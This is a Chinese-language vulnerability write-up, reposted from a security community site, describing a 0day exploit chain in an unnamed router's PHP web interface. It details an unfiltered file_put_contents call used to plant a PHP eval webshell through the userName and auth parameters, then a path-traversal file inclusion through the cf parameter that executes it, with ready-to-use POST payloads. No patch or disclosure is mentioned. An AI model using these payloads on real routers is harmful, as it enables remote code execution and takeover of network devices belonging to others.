某路由審計0day之檔案包含-2

作者:Dodgers

一、審計步驟:

(一)查詢寫入檔案函式:

自動化審計,在這個/auth_pi/authService。php檔案下發現file_put_contents函式可控,跟進該檔案。

某路由審計0day之檔案包含-2

/auth_pi/authService。php檔案的set_authAction方法。在76行的提醒語句也說明了該info檔案在user_auth目錄下,而且也未對userName進行安全過濾,這裡可以任意路徑建立檔案。

某路由審計0day之檔案包含-2

而P方法存在於/mvc/lib/core。function。php的類裡面,是用來接收POST傳參。

某路由審計0day之檔案包含-2

這裡注意:包含路徑是data下的

某路由審計0day之檔案包含-2

利用方式:

1:post請求

2:請求引數a=set_auth

3:引數為userName、auth

payload:

userName=tr1&auth=

?php%20@eval($_POST[‘w’]);?

某路由審計0day之檔案包含-2

(二)查詢檔案包含函式:

自動化審計,在這個/local/auth/php/getCfile。php檔案下發現include 函式可控,跟進該檔案。

某路由審計0day之檔案包含-2

這個檔案透過post方式傳參但是並沒有對cf引數進行安全過濾

某路由審計0day之檔案包含-2

利用方式:

1:post請求

2:必須存在tmp/app_auth/cfile目錄或者自己建立

3:引數為cf、&field=1

payload:

cf=。。/。。/。。/data/tr。info&field=1&w=phpinfo();

說明:這裡的檔案需要剛剛寫檔案的檔名

某路由審計0day之檔案包含-2

該文章來源火線Zone社群:

https://zone。huoxian。cn/d/433-0day-2